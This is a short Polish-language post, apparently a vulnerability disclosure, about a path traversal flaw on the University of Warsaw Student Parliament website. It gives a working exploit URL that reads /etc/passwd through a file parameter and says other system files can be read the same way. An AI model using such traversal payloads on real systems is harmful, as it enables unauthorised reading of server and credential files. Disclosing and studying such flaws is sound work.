Błędy na stronach Parlamentu Studentów Uniwersytetu Warszawskiego

Na stronach Parlamentu Studentów Uniwersytetu Warszawskiego występują błędy, które pozwalają uzyskać dostęp do pliku passwd.

Aby otrzymać dostęp do passwd należy w przeglądarce wpisać podany niżej adres:

http://parlament.uw.edu.pl/?m=akt&file=../../../../etc/passwd

Oczywiście możliwe jest uzyskanie dostępu również do innych plików np: /etc/services.

Podziękowania dla dun’a za podesłanie informacji.